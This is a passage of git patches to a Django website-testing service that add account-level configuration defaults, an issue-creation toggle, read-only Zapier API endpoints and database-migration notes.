                 f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n\n'
             )
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index e7e66721..c397e8d2 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -917,7 +917,7 @@ def run_test(self, index: int=None) -> object:
         self.update_site_info(self.test)
 
         # create issue if failed
-        if self.test.status == 'failed':
+        if self.test.status == 'failed' and self.test.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(test=self.test).build_issue()
 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 58617019..b4ffb783 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -82,7 +82,8 @@ class Meta:
         fields = ['id', 'active', 'time_created', 'type', 'phone', 
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
-        'max_pages', 'max_schedules', 'testcases', 'retention_days'
+        'max_pages', 'max_schedules', 'testcases', 'retention_days',
+        'configs'
         ]
 
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index b3ad24a3..eb9e8053 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -191,9 +191,10 @@ def update_user(request: object) -> object:
 
     # get request data
     email = request.data.get('email')
+    user = request.user
 
     # check if an email is already associated with a user
-    if User.objects.filter(email=email).exists():
+    if User.objects.filter(email=email).exists() and user.email != email:
         return Response(status=status.HTTP_417_EXPECTATION_FAILED)
     
     # update user email
@@ -627,6 +628,7 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         product_id = request.data.get('product_id')
         price_id = request.data.get('price_id')
         slack = request.data.get('slack')
+        configs = request.data.get('configs')
         user = request.user
 
     # get kwargs data
@@ -647,6 +649,7 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         product_id = kwargs.get('product_id')
         price_id = kwargs.get('price_id')
         slack = kwargs.get('slack')
+        configs = kwargs.get('configs')
         user_id = kwargs.get('user')
         user = User.objects.get(id=user_id)
 
@@ -689,6 +692,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.price_id = price_id
         if slack is not None:
             account.slack = slack
+        if configs is not None:
+            account.configs = configs
         
         # saving updated info
         account.save()
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 511c709b..ae5a0a4f 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -300,14 +300,6 @@ def get_billing_info(request: object) -> object:
             'max_schedules': account.max_schedules,
             'retention_days': account.retention_days,
             'testcases': account.testcases,
-            'slack': {
-                'slack_name': account.slack['slack_name'], 
-                'bot_user_id': account.slack['bot_user_id'], 
-                'slack_team_id': account.slack['slack_team_id'], 
-                'bot_access_token': account.slack['bot_access_token'], 
-                'slack_channel_id': account.slack['slack_channel_id'], 
-                'slack_channel_name': account.slack['slack_channel_name'],
-            }
         },
     }
     
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index d91c66b0..88b954b1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -395,7 +395,7 @@ def create_site(request: object, delay: bool=False) -> object:
     page_urls = request.data.get('page_urls')
     onboarding = request.data.get('onboarding', None)
     tags = request.data.get('tags', None)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     no_scan = request.data.get('no_scan', False)
     
     # gettting account
@@ -403,6 +403,9 @@ def create_site(request: object, delay: bool=False) -> object:
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # checking if in onboarding flow
     if onboarding is not None:
         if str(onboarding).lower() == 'true':
@@ -545,7 +548,10 @@ def crawl_site(request: object, id: str) -> object:
     account = Member.objects.get(user=user).account
 
     # setting configs
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
+
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
 
     # check account and resource
     check_data = check_account_and_resource(request=request, site_id=id, resource='site')
@@ -803,7 +809,7 @@ def create_page(request: object, delay: bool=False) -> object:
     page_url = request.data.get('page_url')
     page_urls = request.data.get('page_urls')
     tags = request.data.get('tags', None)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     no_scan = request.data.get('no_scan', False)
 
     # retrieving user, account, & site
@@ -811,6 +817,9 @@ def create_page(request: object, delay: bool=False) -> object:
     account = Member.objects.get(user=user).account
     site = Site.objects.get(id=site_id)
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # creating many pages if page_urls was passed
     if page_urls is not None:
         print('trying to add many pages')
@@ -907,13 +916,16 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     site_id = request.data.get('site_id')
     page_urls = request.data.get('page_urls')
     tags = request.data.get('tags', None)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     no_scan = request.data.get('no_scan', False)
     
     # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # get site and current pages
     site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site)
@@ -1266,7 +1278,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     if request is not None:
         site_id = request.data.get('site_id')
         page_id = request.data.get('page_id')
-        configs = request.data.get('configs', settings.CONFIGS)
+        configs = request.data.get('configs', None)
         types = request.data.get('type', settings.TYPES)
         tags = request.data.get('tags')
         user = request.user
@@ -1275,7 +1287,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     if request is None:
         site_id = kwargs.get('site_id')
         page_id = kwargs.get('page_id')
-        configs = kwargs.get('configs', settings.CONFIGS)
+        configs = kwargs.get('configs', None)
         types = kwargs.get('type', settings.TYPES)
         tags = kwargs.get('tags')
         user_id = kwargs.get('user_id')
@@ -1284,6 +1296,9 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # getting account
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # verifying types
     if len(types) == 0:
         types = settings.TYPES
@@ -1386,10 +1401,14 @@ def create_many_scans(request: object) -> object:
     # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
+    account = Member.objects.get(user=user).account
+
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
 
     # setting defaults
     num_succeeded = 0
@@ -1750,7 +1769,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # get data from request
     if request is not None:
-        configs = request.data.get('configs', settings.CONFIGS)
+        configs = request.data.get('configs', None)
         threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
         pre_scan_id = request.data.get('pre_scan')
         post_scan_id = request.data.get('post_scan')
@@ -1765,7 +1784,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # get data from kwargs
     if request is None:
-        configs = kwargs.get('configs', settings.CONFIGS)
+        configs = kwargs.get('configs', None)
         threshold = kwargs.get('threshold', settings.TEST_THRESHOLD)
         pre_scan_id = kwargs.get('pre_scan')
         post_scan_id = kwargs.get('post_scan')
@@ -1782,6 +1801,9 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # get account
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # verifying test_type
     if len(test_type) == 0:
         test_type = settings.TYPES
@@ -1967,11 +1989,15 @@ def create_many_tests(request: object) -> object:
     # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
     types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
+    account = Member.objects.get(user=user).account
+
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
 
     # setting defaults
     num_succeeded = 0
@@ -2623,7 +2649,7 @@ def create_or_update_schedule(request: object) -> object:
     task_type = request.data.get('task_type')
     test_type = request.data.get('test_type', settings.TYPES)
     scan_type = request.data.get('scan_type', settings.TYPES)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
     schedule_id = request.data.get('schedule_id')
     site_id = request.data.get('site_id')
@@ -2635,6 +2661,9 @@ def create_or_update_schedule(request: object) -> object:
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # setting defaults
     schedule = None
     site = None
@@ -3855,12 +3884,15 @@ def create_auto_cases(request: object) -> object:
     start_url = request.data.get('start_url')
     max_cases = request.data.get('max_cases', 4)
     max_layers = request.data.get('max_layers', 6)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     
     # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # get site if only site_url present
     if site_url is not None:
         site = Site.objects.filter(account=account, site_url=site_url)[0]
@@ -4036,12 +4068,15 @@ def create_testcase(request: object, delay: bool=False) -> object:
     case_id = request.data.get('case_id')
     site_id = request.data.get('site_id')
     updates = request.data.get('updates')
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     
     # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # checking account and resource 
     check_data = check_account_and_resource(
         request=request, resource='testcase', 
@@ -4593,6 +4628,14 @@ def get_home_metrics(request: object) -> object:
         scan_count = scan_count + scans.count()
         schedule_count = schedule_count + schedules.count()
 
+        # getting associated pages
+        pages = Page.objects.filter(site=site)
+
+        # adding page scoped schedules 
+        for page in pages:
+            schedules = Schedule.objects.filter(page=page)
+            schedule_count = schedule_count + schedules.count()
+
     # format data
     data = {
         "sites": site_count, 
@@ -4731,10 +4774,14 @@ def create_site_screenshot(request: object) -> object:
     # get request data
     site_id = request.data.get('site_id', None)
     url = request.data.get('url', None)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
 
     # get user
     user = request.user
+    account = Member.objects.get(user=user).account
+
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
     
     # set default
     site = None
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index e14a55a1..c3801d24 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -237,7 +237,8 @@
     'max_wait_time': 30,
     'timeout': 300,
     'disable_animations': False,
-    'auto_height': True
+    'auto_height': True,
+    'create_issue': True
 }
 
 

From 6e5517aed9548d69663369bed362f704394295ca Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Jul 2024 13:35:19 -0600
Subject: [PATCH 598/752] add account configs and zapier routes

---
 app/api/utils/caser.py         |   4 +-
 app/api/utils/issuer.py        |   3 +-
 app/api/utils/tester.py        |   2 +-
 app/api/v1/auth/serializers.py |   2 +-
 app/api/v1/billing/services.py |   1 +
 app/api/v1/ops/services.py     | 419 ++++++++++++++++++++++++++++++++-
 app/api/v1/ops/urls.py         |   6 +
 app/api/v1/ops/views.py        |  67 ++++++
 notes/Kubernetes.md            |   7 +-
 9 files changed, 501 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index f7cfc6b6..ef161934 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -586,7 +586,7 @@ def run_s(self) -> None:
         )
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
-
+        
         if not self.testcase.passed and self.testcase.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
@@ -885,7 +885,7 @@ async def run_p(self) -> None:
         await self.driver.close()
         print('-- testcase run complete --')
 
-        if not self.testcase.passed and self.test.configs.get('create_issue'):
+        if not self.testcase.passed and self.testcase.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
 
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index b5e6743d..65884c4f 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -146,7 +146,7 @@ def build_issue(self):
             intro = str(
                 f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
                 f'[{affected["str"]}](/{affected["type"]}/{affected["id"]}) ' + 
-                f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n\n'
+                f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n'
             )
 
             # build main_issue
@@ -241,6 +241,7 @@ def build_recommendation(
                             Format with markdown. \
                             Format each recommendation as a markdown task. \
                             Omit the title or header in your response. \
+                            Omit any links in your response. \
                             Remove any disclaimer or notes section. \
                             Remove any reference to selenium documentation. \
                             Remove any reference of 'alternative selector strategies'. \
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index c397e8d2..82b80913 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -917,7 +917,7 @@ def run_test(self, index: int=None) -> object:
         self.update_site_info(self.test)
 
         # create issue if failed
-        if self.test.status == 'failed' and self.test.configs.get('create_issue'):
+        if self.test.status == 'failed' and self.test.post_scan_configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(test=self.test).build_issue()
 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index b4ffb783..9d9815a8 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -83,7 +83,7 @@ class Meta:
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
         'max_pages', 'max_schedules', 'testcases', 'retention_days',
-        'configs'
+        'configs', 'meta'
         ]
 
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index ae5a0a4f..cc800fc9 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -300,6 +300,7 @@ def get_billing_info(request: object) -> object:
             'max_schedules': account.max_schedules,
             'retention_days': account.retention_days,
             'testcases': account.testcases,
+            'meta': account.meta
         },
     }
     
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 88b954b1..944d862d 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -788,6 +788,58 @@ def delete_many_sites(request: object) -> object:
 
 
 
+def get_sites_zapier(request: object) -> object:
+    """ 
+    Get all `Sites` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    sites = None
+    
+    # deciding on scope
+    resource = 'site'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource,
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all account assocoiated sites
+    if sites is None:
+        sites = Site.objects.filter(
+            account=account,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for site in sites:
+        data.append({
+            'id'               :  str(site.id),
+            'site_url'         :  str(site.site_url),
+            'time_created'     :  str(site.time_created),
+            'tags'             :  site.tags,
+            'info'             :  site.info,
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Page Services ------ ###
 
 
@@ -1032,9 +1084,6 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     
     
 
-
-
-
 def get_pages(request: object) -> object:
     """ 
     Get one or more `Pages` from either 
@@ -1256,6 +1305,68 @@ def delete_many_pages(request: object) -> object:
 
 
 
+def get_pages_zapier(request: object) -> object:
+    """ 
+    Get all `Pages` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    site_id = request.query_params.get('site_id')
+    pages = None
+    
+    # deciding on scope
+    resource = 'page'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all site associated pages
+    if site_id:
+        pages = Page.objects.filter(
+            account=account,
+            site__id=site_id,
+        ).order_by('-time_created')
+
+    # get all account assocoiated pages
+    if pages is None:
+        pages = Page.objects.filter(
+            account=account,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for page in pages:
+        data.append({
+            'id'               :  str(page.id),
+            'page_url'         :  str(page.page_url),
+            'site'             :  str(page.site.id),
+            'site_url'         :  str(page.site.site_url),
+            'time_created'     :  str(page.time_created),
+            'tags'             :  page.tags,
+            'info'             :  page.info,
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Scan Services ------ ###
 
 
@@ -1749,6 +1860,88 @@ def delete_many_scans(request: object) -> object:
 
 
 
+def get_scans_zapier(request: object) -> object:
+    """ 
+    Get all `Scans` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    page_id = request.query_params.get('page_id')
+    site_id = request.query_params.get('site_id')
+    scans = None
+    
+    # deciding on scope
+    resource = 'scan'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, page_id=page_id, 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all page associated scans
+    if page_id:
+        scans = Scan.objects.filter(
+            page__account=account,
+            page__id=page_id,
+        ).exclude(
+            time_completed=None,
+        ).order_by('-time_created')
+
+    # get all site associated scans
+    if site_id:
+        scans = Scan.objects.filter(
+            site__account=account,
+            site__id=site_id,
+        ).exclude(
+            time_completed=None,
+        ).order_by('-time_created')
+
+    # get all account assocoiated tests
+    if scans is None:
+        scans = Scan.objects.filter(
+            site__account=account,
+        ).exclude(
+            time_completed=None,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for scan in scans:
+        data.append({
+            'id'               :  str(scan.id),
+            'page'             :  str(scan.page.id),
+            'site'             :  str(scan.site.id),
+            'time_created'     :  str(scan.time_created),
+            'time_completed'   :  str(scan.time_completed),
+            'type'             :  scan.type,
+            'html'             :  scan.html,
+            'logs'             :  scan.logs,
+            'images'           :  scan.images,
+            'lighthouse'       :  scan.lighthouse,
+            'yellowlab'        :  scan.yellowlab,
+            'configs'          :  scan.configs,
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Test Services ------ ###
 
 
@@ -2155,7 +2348,7 @@ def get_test(request: object, id: str) -> object:
 
     # check account and resource
     check_data = check_account_and_resource(request=request, 
-        test_id=id, resource='scan'
+        test_id=id, resource='test'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -2351,6 +2544,94 @@ def delete_many_tests(request: object) -> object:
 
 
 
+def get_tests_zapier(request: object) -> object:
+    """ 
+    Get all `Tests` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    page_id = request.query_params.get('page_id')
+    site_id = request.query_params.get('site_id')
+    tests = None
+    
+    # deciding on scope
+    resource = 'test'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, page_id=page_id, 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all page associated tests
+    if page_id:
+        tests = Test.objects.filter(
+            page__account=account,
+            page__id=page_id,
+        ).exclude(
+            time_completed=None,
+            pre_scan=None,
+            post_scan=None,
+        ).order_by('-time_created')
+
+    # get all site associated tests
+    if site_id:
+        tests = Test.objects.filter(
+            site__account=account,
+            site__id=site_id,
+        ).exclude(
+            time_completed=None,
+            pre_scan=None,
+            post_scan=None,
+        ).order_by('-time_created')
+
+    # get all account assocoiated tests
+    if tests is None:
+        tests = Test.objects.filter(
+            site__account=account,
+        ).exclude(
+            time_completed=None,
+            pre_scan=None,
+            post_scan=None,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for test in tests:
+        data.append({
+            'id'               :  str(test.id),
+            'page'             :  str(test.page.id),
+            'site'             :  str(test.site.id),
+            'pre_scan'         :  str(test.pre_scan.id) if test.pre_scan else None,
+            'post_scan'        :  str(test.post_scan.id) if test.post_scan else None,
+            'time_created'     :  str(test.time_created),
+            'time_completed'   :  str(test.time_completed),
+            'type'             :  test.type,
+            'status'           :  str(test.status),
+            'score'            :  test.status,
+            'threshold'        :  test.threshold,
+            'component_scores' :  test.component_scores,
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Issue Services ------ ###
 
 
@@ -2624,6 +2905,78 @@ def delete_issue(request: object, id: str) -> object:
 
 
 
+def get_issues_zapier(request: object) -> object:
+    """ 
+    Get all `Issues` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    page_id = request.query_params.get('page_id')
+    site_id = request.query_params.get('site_id')
+    issues = None
+    
+    # deciding on scope
+    resource = 'issue'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, page_id=page_id,
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get all page associated issues
+    if page_id:
+        issues = Issue.objects.filter(
+            account=account,
+            affected__icontains=page_id,
+        ).order_by('-time_created')
+
+    # get all site associated issues
+    if site_id:
+        issues = Issue.objects.filter(
+            account=account,
+            affected__icontains=site_id,
+        ).order_by('-time_created')
+
+    # get all account assocoiated issues
+    if issues is None:
+        issues = Issue.objects.filter(
+            account=account
+        ).order_by('status', '-time_created')
+
+    # build response data
+    data = []
+
+    for issue in issues:
+        data.append({
+            'id'            :  str(issue.id),
+            'title'         :  str(issue.title),
+            'time_created'  :  str(issue.time_created),
+            'details'       :  str(issue.details),
+            'trigger'       :  issue.trigger,
+            'affected'      :  issue.affected,
+            'labels'        :  issue.labels,
+            'status'        :  str(issue.status),
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Schedule Services ------ ###
 
 
@@ -4287,6 +4640,64 @@ def delete_testcase(request: object, id: str) -> object:
 
 
 
+def get_testcases_zapier(request: object) -> object:
+    """ 
+    Get all `Testcases` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    testcases = None
+    
+    # deciding on scope
+    resource = 'testcase'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all account assocoiated testcases
+    if testcases is None:
+        testcases = Testcase.objects.filter(
+            account=account,
+        ).exclude(
+            time_completed=None,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for testcase in testcases:
+        data.append({
+            'id'              :  str(testcase.id),
+            'case'            :  str(testcase.case.id),
+            'case_name'       :  str(testcase.case_name),
+            'site'            :  str(testcase.site.id),
+            'time_created'    :  str(testcase.time_created),
+            'time_completed'  :  str(testcase.time_completed),
+            'configs'         :  testcase.configs,
+            'passed'          :  str(testcase.passed),
+        })
+
+    # serialize and return
+    record_api_call(request, data, '200')
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Process Services ------ ###
 
 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 37b71a91..46fe4617 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -9,22 +9,26 @@
     path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
     path('site/delay', views.SiteDelay.as_view(), name='site-delay'),
     path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'),
+    path('sites/zapier', views.SitesZapier.as_view(), name='sites-zapier'),
     path('page', views.Pages.as_view(), name='page'),
     path('page/<uuid:id>', views.PageDetail.as_view(), name='page-detail'),
     path('page/delay', views.PageDelay.as_view(), name='page-delay'),
     path('pages/delete', views.PagesDelete.as_view(), name='pages-delete'),
+    path('pages/zapier', views.PagesZapier.as_view(), name='pages-zapier'),
     path('scan', views.Scans.as_view(), name='scan'),
     path('scan/<uuid:id>', views.ScanDetail.as_view(), name='scan-detail'),
     path('scan/<uuid:id>/lean', views.ScanLean.as_view(), name='scan-lean'),
     path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'),
     path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'),
     path('scans/create', views.ScansCreate.as_view(), name='scans-create'),
+    path('scans/zapier', views.ScansZapier.as_view(), name='scans-zapier'),
     path('test', views.Tests.as_view(), name='test'),
     path('test/<uuid:id>', views.TestDetail.as_view(), name='test-detail'),
     path('test/<uuid:id>/lean', views.TestLean.as_view(), name='test-lean'),
     path('test/delay', views.TestDelay.as_view(), name='test-delay'),
     path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'),
     path('tests/create', views.TestsCreate.as_view(), name='tests-create'),
+    path('tests/zapier', views.TestsZapier.as_view(), name='tests-zapier'),
     path('case', views.Cases.as_view(), name='case'),
     path('case/<uuid:id>', views.CaseDetail.as_view(), name='case-detail'),
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
@@ -33,9 +37,11 @@
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
+    path('testcases/zapier', views.TestcasesZapier.as_view(), name='testcases-zapier'),
     path('issue', views.Issues.as_view(), name='issue'),
     path('issue/search', views.IssuesSearch.as_view(), name='issue-search'),
     path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
+    path('issues/zapier', views.IssuesZapier.as_view(), name='issues-zapier'),
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
     path('schedule', views.Schedules.as_view(), name='schedule'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 006cdc58..fa92fe49 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -89,6 +89,17 @@ def post(self, request):
 
 
 
+class SitesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_sites_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Page Views ------ ###
 
 
@@ -147,6 +158,17 @@ def post(self, request):
 
 
 
+class PagesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_pages_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Scan Views ------ ###
 
 
@@ -228,6 +250,17 @@ def post(self, request):
 
 
 
+class ScansZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_scans_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Test Views ------ ###
 
 
@@ -307,6 +340,18 @@ def post(self, request):
 
 
 
+
+class TestsZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_tests_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Schedule Views ------ ###
 
 
@@ -537,6 +582,17 @@ def delete(self, request, id):
 
 
 
+class TestcasesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_testcases_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Issue Views ------ ###
 
 
@@ -583,6 +639,17 @@ def delete(self, request, id):
 
 
 
+class IssuesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_issues_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Log Views ------ ###
 
 
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 3b833128..02e5c765 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -172,7 +172,12 @@ kubectl port-forward service/app-service 8000:8000
 # Migration Notes for DB:
 1. Go to `models.py` and comment out all new additions
 2. Spinup staging env locally to create `00001_initial.py` migration as baseline
+   - `docker compose -f docker-compose.stage.yml up -d --build`
 3. Spin down staging env
+   - `docker compose -f docker-compose.stage.yml down`
 4. Un-comment all new additions in `models.py`
 5. Spinup staging env locally again and ensure a new migration file is created in `/migrations`
-3. Spin down staging env and merge `dev` branch on github
\ No newline at end of file
+   - `docker compose -f docker-compose.stage.yml up -d --build`
+6. Spin down staging env
